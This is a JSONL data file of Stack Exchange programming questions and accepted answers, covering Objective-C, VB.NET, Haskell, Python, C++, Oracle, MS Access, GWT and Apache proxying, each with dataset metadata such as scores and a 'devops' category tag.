{"id": "hf_e86d3f1e4860", "question": "<p>I know about the <a href=\"http://developer.apple.com/library/mac/#documentation/UserExperience/Conceptual/AppleHIGuidelines/Intro/Intro.html\" rel=\"noreferrer\">HIG</a> (which is quite handy!), but what programming practices do you use when writing Objective-C, and more specifically when using Cocoa (or CocoaTouch).</p>\n", "question_body": "", "answer": "Golden Rule: If you\n```\nalloc\n```\nthen you\n```\nrelease\n```\n!\nUPDATE: Unless you are using ARC", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.126915"}
{"id": "hf_dd239d362045", "question": "<p>I have an MDI application. When I show a message box using MessageBox.Show(), the entire application disappears behind all of my open windows when I dismiss the message box.</p>\n\n<p>The code is not doing anything special. In fact, here is the line that invokes the message box from within an MDI Child form:</p>\n\n<pre><code>MessageBox.Show(String.Format(\"{0} saved successfully.\", Me.BusinessUnitTypeName), \"Save Successful\", MessageBoxButtons.OK, MessageBoxIcon.Information, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly)\n</code></pre>\n\n<p>Me.BusinessUnitTypeName() is a read only property getter that returns a string, depending upon the value of a member variable. There are no side effects in this property.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Remove the\n```\nMessageBoxOptions.DefaultDesktopOnly\n```\nparameter and it will work correctly.\n```\nDefaultDesktopOnly\n```\nspecifies that \"\nThe message box is displayed on the active desktop\n\" which causes the focus loss.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.161587"}
{"id": "hf_9668ba251661", "question": "<p>Given this:</p>\n\n<pre><code>Public Sub timReminder_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)\n    If DateTime.Now() &gt; g_RemindTime Then\n        Reminders.ShowDialog()\n        timReminder.Enabled = False\n    End If\nEnd Sub\n</code></pre>\n\n<p>I want to be able to say this (as I would in Delphi):</p>\n\n<pre><code>timReminder.Tick = timReminder_Tick\n</code></pre>\n\n<p>But I get errors when I try it.</p>\n\n<p>Does anyone know how I can assign a custom event to a timer's on-tick event at runtime in VB.NET?</p>\n", "question_body": "", "answer": "Use the 'AddHandler' and 'AddressOf' keywords to add a handler to the Tick event.\n```\nAddHandler timeReminder.Tick, AddressOf timeReminder_Tick\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.184775"}
{"id": "hf_050eedd3812c", "question": "<p>I can't quite figure out this syntax problem with a <code>case</code> expression in a <code>do</code> block.</p>\n\n<p>What is the correct syntax? </p>\n\n<p>If you could correct my example and explain it that would be the best.</p>\n\n<pre><code>module Main where \n\nmain = do   \n     putStrLn \"This is a test\"\n     s &lt;- foo\n     putStrLn s  \n\nfoo = do\n    args &lt;- getArgs \n    return case args of\n                [] -&gt; \"No Args\"\n                [s]-&gt; \"Some Args\"\n</code></pre>\n\n<p>A little update. My source file was a mix of spaces and tabs and it was causing all kinds of problems.\nJust a tip for any one else starting in Haskell. If you are having problems check for tabs and spaces in your source code.</p>\n", "question_body": "", "answer": "return is an (overloaded) function, and it's not expecting its first argument to be a keyword.  You can either parenthesize:\n```\n```\nmodule Main where \nimport System(getArgs)\n\nmain = do   \n     putStrLn \"This is a test\"\n     s <- foo\n     putStrLn s  \n\nfoo = do\n    args <- getArgs \n    return (case args of\n                [] -> \"No Args\"\n                [s]-> \"Some Args\")\n```\n```\nor use the handy application operator ($):\n```\n```\nfoo = do\n    args <- getArgs \n    return $ case args of\n                [] -> \"No Args\"\n                [s]-> \"Some Args\"\n```\n```\nStylewise, I'd break it out into another function:\n```\n```\nfoo = do\n    args <- getArgs \n    return (has_args args)\n\nhas_args [] = \"No Args\"\nhas_args _  = \"Some Args\"\n```\n```\nbut you still need to parenthesize or use ($), because return takes one argument, and function application is the highest precedence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.243823"}
{"id": "hf_4c2c4aebd094", "question": "<p>You can limit \"Check-In Policy\" rules via the \"Custom Paths\" policy. But the \"Check-in Notes\" tab doesn't seem to fit in to the same system. Why isn't \"Check-In notes\" just another \"Check-In policy\"??</p>\n\n<p>I'm using Team Foundation Server 2008 SP1</p>\n", "question_body": "", "answer": "That's an interesting question - the short answer is you cannot.\nI have ran into the issue myself a lot where people get check-in notes and check-in policies confused because, while very different in implementation on the server, they often serve similar purposes.\nCheck-in notes are bits of structured meta-data that you want to collect on every check-in to a Team Project.  They can be thinks like who was the code reviewer or a reference to a ticket in an external CRM system or something.  You can make them required, or just have them defined for people to optionally fill out.\nCheck-in policies are bits of code that run on the client at the point of check-in that get a say if the check-in should be allowed or not.  These are useful for checking things like you have associated a check-in with a work item, given it a comment or the code you are check-in in passes certain key static code analysis rules (such as basic checking for SQL injection attacks etc).  If a check-in policy fails in the evaluation of the check-in then the user gets alerted and they get the ability to fix the problem or check-in anyway with a check-in policy override than can easily be reported on or alerted for by the TFS administrator.\nBoth check-in notes and check-in policies are defined and scoped at the Team Project level.  However, Microsoft got feedback that some people would like check-in policies would like to be applied to specific paths in version control rather than just the Team Project and so the Custom Path Policy was invented.\nThe Custom Path Policy is a bit of a hack that allows you to wrap check-in policies inside the custom path policy.  The custom path gets evaluated on every check-in and if it contains files inside the defined path then the wrapped check-in policies are evaluated for those files.  The Custom Path Policy ships in the\nTFS Power Tools\nand is not part of the \"Out The Box\" TFS experience.\nSo, to answer your question a different way - I suspect the answer is \"because that's the way it was designed and not enough people have asked for it to be changed\".\nIf you wanted to leave feedback at\nhttp://connect.microsoft.com/VisualStudio\nI know they take customer feedback very seriously.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.279697"}
{"id": "hf_7b05fe8ba0c6", "question": "<p>At work we have 4 people working together on a few different projects. For each project we each have a local copy we work on and then there is a development, staging, and live deployment, along with any branches we have (we use subversion). Our database is MySQL.</p>\n\n<p>So my question is, what is a good way to manage which revisions to the database have been made to each deployment (and for the developers their local copies). Right now each change goes into a text file that is timestamped in the name and put into a folder under the project. This isn't working very well to be honest.. I need a solution that will help keep track of what has been applied where.</p>\n", "question_body": "", "answer": "http://odetocode.com/Blogs/scott/archive/2008/01/30/11702.aspx\nThe above blog brought us to our current database version control system.  Simply put, no DB changes are made without an update script and all update scripts are in our source control repository.\nWe only manage schema changes but you may also be able/willing to consider keeping dumps of your data available in version control as well; creating such files is a pretty trivial exercise using mysqldump.\nOur solution differs from the solution presented in the blog in one key manner: it's not automated.  We have to hand apply database updates, etc.  Though this can be slightly time consuming, it postponed some of the effort a fully automated system would have required.  One thing we did automate however, was the db version tracking in the software: this was pretty simple and it ensures that our software is aware of the database it's running against and will ONLY run if it knows the schema it's working with.\nThe hardest part of our solution was how to merge updates from our branches into our trunk.  We spent some time to develop a workflow to address the possibility of two developers trying to merge branches with DB updates at the same time and how to handle it.  We eventually settled on locking a file in version control (the file in question for us is actually a table mapping software version to db version which assists in our manual management strategy), much like you would a thread's critical section, and the developer who gets the lock goes about their update of the trunk.  When completed, the other developer would be able to lock and it is their responsibility to make any changes necessary to their scripts to ensure that expected version collisions and other bad juju are avoided.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.304517"}
{"id": "hf_d0dbb956c304", "question": "<p>I'm using a Form to show notifications (it appears at the bottom right of the screen), but when I show this form it steals the focus from the main Form. Is there a way to show this \"notification\" form without stealing focus?</p>\n", "question_body": "", "answer": "Doing this seems like a hack, but it seems to work:\n```\n```\nthis.TopMost = true;  // as a result the form gets thrown to the front\nthis.TopMost = false; // but we don't actually want our form to always be on top\n```\n```\nEdit: Note, this merely raises an already created form without stealing focus.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.328566"}
{"id": "hf_111aa822c75c", "question": "<p>I am just starting with SL and WPF. I am using the DataGrid control and I need to remove the mouseover effect (I actually will need to do more customizations than that). How do I do this. I think I need to do it with a control template but not sure how. I'm researching and reading right now. Any help would be appreciated.</p>\n", "question_body": "", "answer": "Yeah You have to change the Style and ControlTemplate , But are you using experssion blend to edit XAML? Blend is the easiest tool to do this.\nTry changing the ControlTemplate for a Standard Button or ListBox and once you are comfortable then go to DatGrid. Why I am suggesting this is DataGrid is a complex combination of different UIElements so the control template will be hard to understand for a beginner.\nSpecific to MouseOver effect removal - There will be a\nVSM\ntag in the control template which has some storyboards , just remove the one with\n```\n<vsm:VisualState x:Name=\"MouseOver\">\n```\nand you are good to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.387969"}
{"id": "hf_117ef32607df", "question": "<p>I'm using CSS Filters to modify images on the fly within the browser. These work perfectly in Internet Explorer, but aren't supported in Firefox.</p>\n\n<p>Does anyone know what the CSS Filter equivalent for these is for Firefox? An answer that would work cross browser (Safari, WebKit, Firefox, etc.) would be preferred.</p>\n\n<pre><code>&lt;style type=\"text/css\"&gt;\n    .CSSClassName {filter:Invert;}\n    .CSSClassName {filter:Xray;}\n    .CSSClassName {filter:Gray;}\n    .CSSClassName {filter:FlipV;}\n&lt;/style&gt;\n</code></pre>\n\n<p>Update: I know Filter is an IE specific feature. Is there any kind of equivalent for any of these that is supported by Firefox?</p>\n", "question_body": "", "answer": "There are no equivalents in other browsers. The closest you could get is using a graphics library like Canvas and manipulating the images in it, but you'd have to write the manipulations yourself and they'd require JavaScript.\n```\nfilter\n```\nis an IE-only feature -- it is not available in any other browser.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.435807"}
{"id": "hf_2ce1eeffbcd8", "question": "<p>For an ecommerce website how do you measure if a change to your site actually improved usability?  What kind of measurements should you gather and how would you set up a framework for making this testing part of development?</p>\n", "question_body": "", "answer": "Multivariate testing\nand reporting is a great way to actually measure these kind of things.\nIt allows you to test what combination of page elements has the greatest conversion rate, providing continual improvement on your site design and usability.\nGoogle Web Optimiser\nhas support for this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.498354"}
{"id": "hf_8678561583e3", "question": "<p>Is there a framework equivalent to Guice (<a href=\"http://code.google.com/p/google-guice\" rel=\"noreferrer\">http://code.google.com/p/google-guice</a>) for Python?</p>\n", "question_body": "", "answer": "I haven't used it, but the\nSpring Python\nframework is based on Spring and implements\nInversion of Control\n.\nThere also appears to be a Guice in Python project:\nsnake-guice", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.550208"}
{"id": "hf_d875e3e5835a", "question": "<p>What is the difference between the following 2 ways to allocate and init an object?</p>\n\n<pre><code>AController *tempAController = [[AController alloc] init];\nself.aController = tempAController;\n[tempAController release];\n</code></pre>\n\n<p>and</p>\n\n<pre><code>self.aController= [[AController alloc] init];\n</code></pre>\n\n<p>Most of the apple example use the first method. Why would you allocate, init and object and then release immediately?</p>\n", "question_body": "", "answer": "Every object has a reference count.  When it goes to 0, the object is deallocated.\nAssuming the property was declared as\n```\n@property (retain)\n```\n:\nYour first example, line by line:\nThe object is created by\n```\nalloc\n```\n, it has a reference count of 1.\nThe object is handed over to\n```\nself\n```\n's\n```\nsetAController:\n```\nmethod, which sends it a\n```\nretain\n```\nmessage (because the method doesn't know where the object is coming from), incrementing its reference count to 2.\nThe calling code no longer needs the object itself, so it calls\n```\nrelease\n```\n, decrementing the reference count to 1.\nYour second example basically does steps 1 and 2 but not 3, so at the end the object's reference count is 2.\nThe rule is that if you create an object, you are responsible for releasing it when you're done with it.  In your example, the code is done with tempAController after it sets the property.  It is the setter method's responsibility to call\n```\nretain\n```\nif it needs that object to stick around.\nIt's important to remember that\n```\nself.property = foo;\n```\nin Objective-C is really just shorthand for\n```\n[self setProperty:foo];\n```\nand that the\n```\nsetProperty:\n```\nmethod is going to be retaining or copying objects as needed.\nIf the property was declared\n```\n@property (copy)\n```\n, then the object would have been copied instead of retained.  In the first example, the original object would be released right away; in the second example, the original object's reference count would be 1 even though it should be 0.  So you would still want to write your code the same way.\nIf the property was declared\n```\n@property (assign)\n```\n, then\n```\nself\n```\nisn't claiming ownership of the object, and somebody else needs to retain it.  In this case, the first example would be incorrect.  These sorts of properties are rare, usually only used for object delegates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.587286"}
{"id": "hf_322790213fb1", "question": "<p>Is there a good reason why there is no <code>Pair&lt;L,R&gt;</code> in Java? What would be the equivalent of this C++ construct? I would rather avoid reimplementing my own.</p>\n\n<p>It seems that <strong>1.6</strong> is providing something similar (<code>AbstractMap.SimpleEntry&lt;K,V&gt;</code>), but this looks quite convoluted.</p>\n", "question_body": "", "answer": "It depends on what you want to use it for.  The typical reason to do so is to iterate over maps, for which you simply do this (Java 5+):\n```\n```\nMap<String, Object> map = ... ; // just an example\nfor (Map.Entry<String, Object> entry : map.entrySet()) {\n  System.out.printf(\"%s -> %s\\n\", entry.getKey(), entry.getValue());\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.636647"}
{"id": "hf_3a31290badb8", "question": "<p>Yet again, my teacher was unable to answer my question. I knew who may be able to...</p>\n\n<p>So, I've never really learned C. In C++, I would, obviously, use a cout statement all of the time. In a recent assignment, my teacher told us to make sure to put </p>\n\n<pre><code>setbuf( stdout , NULL );\n</code></pre>\n\n<p>at the top of main() in order to get an unbuffered output, thus allowing us to see the output properly.</p>\n\n<p>My question is this: will this statement affect a cout statement, or simply a printf() statement that I call? </p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "By default, iostreams and stdio are synchronised.\nReference.\nThis doesn't mean that manually adjusting the stdio buffering is a good idea, though! You may wish to utilise\n```\nstd::endl\n```\nor\n```\nstd::flush\n```\n(from\n```\n<ostream>\n```\n), which may help you. e.g.,\n```\n```\nstd::cout << \"Hello, world!\" << std::endl;\n```\n```\nor\n```\n```\nstd::cout << \"Hello, world!\\n\" << std::flush;\n```\n```\nBoth of these do the same thing. (\n```\nstd::endl\n```\n= print endline, then flush.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.666896"}
{"id": "hf_1f3925483c5c", "question": "<p>The title is self explanatory. Is there a way of directly doing such kind of importing?</p>\n", "question_body": "", "answer": "Although my MySQL background is limited, I don't think you have much luck doing that. However, you should be able to migrate over all of your data by restoring the db to a MSSQL server, then creating a SSIS or DTS package to send your tables and data to the MySQL server.\nhope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.690497"}
{"id": "hf_a157adc73d33", "question": "<p>We are putting up a company blog at companyname.com/blog but for now the blog is a Wordpress installation that lives on a different server (blog.companyname.com). </p>\n\n<p>The intention is to have the blog and web site both on the same server in a month or two, but that leaves a problem in the interim.</p>\n\n<p>At the moment I am using mod_rewrite to do the following:</p>\n\n<p><a href=\"http://companyname.com/blog/article-name\" rel=\"nofollow noreferrer\">http://companyname.com/blog/article-name</a> redirects to <a href=\"http://blog.companyname.com/article-name\" rel=\"nofollow noreferrer\">http://blog.companyname.com/article-name</a></p>\n\n<p>Can I somehow keep the address bar displaying companyname.com/blog even though the content is coming from the latter blog.companyname.com? </p>\n\n<p>I can see how to do this if it is on the same server and vhost, but not across a different server?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Rather than using mod_rewrite, you could use\nmod_proxy\nto set up a reverse proxy on companyname.com, so that requests to\nhttp://companyname.com/blog/article-name\nare proxied (rather than redirected) to\nhttp://blog.companyname.com/article-name\n.\nHere are\nmore instructions and examples\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.736938"}
{"id": "hf_066911c773cc", "question": "<p>I need to pad numbers with leading zeros (total 8 digits) for display. I'm using oracle.</p>\n\n<pre><code>select to_char(1011,'00000000') OPE_NO from dual;\nselect length(to_char(1011,'00000000')) OPE_NO from dual;\n</code></pre>\n\n<p>Instead of '00001011' I get ' 00001011'.\nWhy do I get an extra leading blank space? What is the correct number formatting string to accomplish this?</p>\n\n<p>P.S. I realise I can just use <code>trim()</code>, but I want to understand number formatting better.</p>\n\n<p>@Eddie: I already read the documentation. And yet I still don't understand how to get rid of the leading whitespace. </p>\n\n<p>@David: So does that mean there's no way but to use <code>trim()</code>?</p>\n", "question_body": "", "answer": "From that same\ndocumentation\nmentioned by\nEddieAwad\n:\nNegative return values automatically\n  contain a leading negative sign and\n  positive values automatically contain\n  a leading space unless the format\n  model contains the MI, S, or PR format\n  element.\nEDIT\n: The right way is to use the FM modifier, as answered by Steve Bosman. Read the section about\nFormat Model Modifiers\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.785035"}
{"id": "hf_27bf5d2420df", "question": "<p>I'm just trying to time a piece of code. The pseudocode looks like:</p>\n\n<pre><code>start = get_ticks()\ndo_long_code()\nprint \"It took \" + (get_ticks() - start) + \" seconds.\"\n</code></pre>\n\n<p>How does this look in Python?</p>\n\n<p>More specifically, how do I get the number of ticks since midnight (or however Python organizes that timing)?</p>\n", "question_body": "", "answer": "What you need is\n```\ntime()\n```\nfunction from\n```\ntime\n```\nmodule:\n```\n```\nimport time\nstart = time.time()\ndo_long_code()\nprint \"it took\", time.time() - start, \"seconds.\"\n```\n```\nYou can use\ntimeit\nmodule for more options though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.809347"}
{"id": "hf_9d01eaab6647", "question": "<p>I was inserting data into a MS Access database using JDBC-ODBC driver.  The blank mdb file was 2KB.  After populating this database, the size grew to 155MB.  Then I was deleting the data.  But I found the size of mdb remains the same as 155MB.  I don't get any errors.  But is it normal this way?  I would expect the file size reduces.  If it is designed in this way, what is the idea behind it?  Thanks</p>\n", "question_body": "", "answer": "MS Access doesn't free up space used by records even after they are deleted. You can free the space manually when you need to or automatically each time you close the application.\nTo do it manually, use the Compact and Repair utility:\nBackup your database, as there is a\nbug in Access 2007\nthat may delete your database during the compacting procedure.\nIf you are compacting a multiuser (shared) database that is located on a server or shared folder, make sure that no one else has it open.\nOn the Tools menu, point to Database Utilities, and then click Compact and Repair Database.\nTo do it automatically when you close the application:\nOpen the database that you want MS Access to compact automatically.\nOn the Tools menu, click Options, and then choose the General tab.\nSelect the Compact On Close check box.\nAfter deleting the data and compacting the database don't be surprised if is still larger than 100 KB. There is a certain amount of overhead that cannot be removed after you add data the first time.\nAlso, beware that AutoNumber field values behave differently than advertised after the compacting procedure: According to the MS Access 2000 documentation, if you delete records from the end of a table that has an AutoNumber field, compacting the database resets the AutoNumber value. So the AutoNumber value of the next record you add will be one greater than the AutoNumber value of the last undeleted record in the table.\nI have\nnot\nfound this to be the case: If you have 100 Autonumbered records and delete the last 50, the next AutoNumber record (according to the documentation) should be numbered \"51\". But in my experience it is numbered \"101\", instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.833759"}
{"id": "hf_0c6bd8767090", "question": "<p>I have one thread that writes results into a Queue.</p>\n\n<p>In another thread (GUI), I periodically (in the IDLE event) check if there are results in the queue, like this:</p>\n\n<pre><code>def queue_get_all(q):\n    items = []\n    while 1:\n        try:\n            items.append(q.get_nowait())\n        except Empty, e:\n            break\n    return items\n</code></pre>\n\n<p>Is this a good way to do it ? </p>\n\n<p><strong>Edit:</strong></p>\n\n<blockquote>\n  <p>I'm asking because sometimes the\n  waiting thread gets stuck for a few\n  seconds without taking out new\n  results.</p>\n</blockquote>\n\n<p>The \"stuck\" problem turned out to be because I was doing the processing in the idle event handler, without making sure that such events are actually generated by calling <code>wx.WakeUpIdle</code>, as is recommended.</p>\n", "question_body": "", "answer": "I see you are using get_nowait() which according to the documentation, \"return[s] an item if one is immediately available, else raise the Empty exception\"\nNow, you happen to break out of the loop when an Empty exception is thrown. Thus, if there is no result immediately available in the queue, your function returns an empty items list.\nIs there a reason why you are not using the get() method instead? It may be the case that the get_nowait() fails because the queue is servicing a put() request at that same moment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.882561"}
{"id": "hf_44ef703e6291", "question": "<p>I'm storing an object (<code>TTF_Font</code>) in a <code>shared_ptr</code> that is provided to me from a third-party API. I cannot use new or delete on the object, so the <code>shared_ptr</code> is also provided a \"freeing\" functor.</p>\n\n<pre><code>// Functor\nstruct CloseFont\n{\n    void operator()(TTF_Font* font) const\n    {\n        if(font != NULL) {\n            TTF_CloseFont(font);\n        }\n    }\n};\n\nboost::shared_ptr&lt;TTF_Font&gt; screenFont;\n\nscreenFont = boost::shared_ptr&lt;TTF_Font&gt;( TTF_OpenFont(\"slkscr.ttf\", 8), CloseFont() );\n</code></pre>\n\n<p>If, later, I need to explicitly free this object is it correct to do this:</p>\n\n<pre><code>screenFont.reset();\n</code></pre>\n\n<p>And then let <code>screenFont</code> (the actual <code>shared_ptr</code> object) be destroyed naturally?</p>\n", "question_body": "", "answer": "shared_ptr<>::reset() will drop the refcount by one.  If that results in the count dropping to zero, the resource pointed to by the shared_ptr<> will be freed.\nSo I think the answer for you is, yes that will work.  Or you can simply let the screenFont variable be destructed due to dropping out of scope or whatever, if that's what's about to happen.\nTo be clear, the normal usage of shared_ptr<> is that you let it be destructed naturally, and it will deal with the refcount and freeing the resource when it drops to zero naturally.  reset() is only required if you need to release that particular instance of the shared resource before the shared_ptr<> would be naturally destructed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.943061"}
{"id": "hf_00cbe079559c", "question": "<p><code>GWT</code> gets locale from either the  locale property or the locale query string.  If neither is specified, it uses the \"default\" (ie <code>en_US</code>) locale.</p>\n\n<p>Why doesn't it get it from the browser settings?</p>\n\n<p>It seems the only solution to this is to replace your static html launch page with something like a JSP that reads the browser locales and sets the  locale or redirects using the query string. There has to be a better solution than this or simply hard-coding a locale, surely?</p>\n", "question_body": "", "answer": "If you put a list of available languages into your *.gwt.xml file it will by default switch to the first language listed.\n```\n```\n<!-- Slovenian in Slovenia -->\n<extend-property name=\"locale\" values=\"sl\"/>\n\n<!-- English language, independent of country -->\n<extend-property name=\"locale\" values=\"en\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:08.991642"}
{"id": "hf_4e99eaf41257", "question": "<p>I recently read somewhere that writing a regexp to match an email address, taking into account all the variations and possibilities of the standard is extremely hard and is significantly more complicated than what one would initially assume.</p>\n<p>Why is that?</p>\n<p>Are there any known and proven regexps that actually do this fully?</p>\n<p>What are some good alternatives to using regexps for matching email addresses?</p>\n", "question_body": "", "answer": "For the\nformal\ne-mail spec, yes, it is technically impossible via Regex due to the recursion of things like comments (especially if you don't remove comments to whitespace first), and the various different formats (an e-mail address isn't always someone@somewhere.tld). You can get close (with some massive and incomprehensible Regex patterns), but a far better way of checking an e-mail is to do the very familiar handshake:\nthey tell you their e-mail\nyou e-mail them a confimation link with a Guid\nwhen they click on the link you know that:\nthe e-mail is correct\nit exists\nthey own it\nFar better than blindly accepting an e-mail address.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.015601"}
{"id": "hf_64460f94b3cf", "question": "<p>See title: what does it mean for a C++ function to be inline?</p>\n", "question_body": "", "answer": "The function body is literally inserted inside the caller function. Thus, if you have multiple calls to this function, you get multiple copies of the code. The benefit is you get faster execution.\nUsually very short function are inlined, when the copy of the function body would be not much bigger than the usual prologue/epilogue code generated for the normal function call.\nYou can read more at MSDN article about inline -\nhttp://msdn.microsoft.com/en-us/library/z8y1yy88.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.050741"}
{"id": "hf_c73ecef79618", "question": "<p>Is it possible to enumerate all the current errors being displayed through an \"Error Provider\" without having to access the controls?</p>\n", "question_body": "", "answer": "There is a summary validator that will give you all of the errors, but it's pretty ugly, and I'm not sure if you can use it without displaying it on the page.  Technically, if you are doing things the \"right way\", all of you error handling should be handled in your midddle teir and then bubbled to the screen that way, so you already have access to all the errors in a collection or dictionary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.089907"}
{"id": "hf_67bc94cd0a3b", "question": "<p>How do I write an Excel workbook to a <code>MemoryStream</code> without first saving it to the file system?</p>\n\n<p>All options within the <code>Microsoft.Office.Interop.Excel.WorkBook</code> save options take a filename.</p>\n", "question_body": "", "answer": "I have done extensive work with the PIA and with storing Excel files in a document repository and streaming it out to the browser, and I have not been able to find a solution to using the PIA without first writing the contents to the file system first.\nI think that you are going to have to swallow the bullet and deal with the file system as an intermediary.  The good news is that you can just give the file a unique name like a guid or use some other tempfilename method (not sure if one exists in .net) and just delete the contents when you are done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:09.161353"}
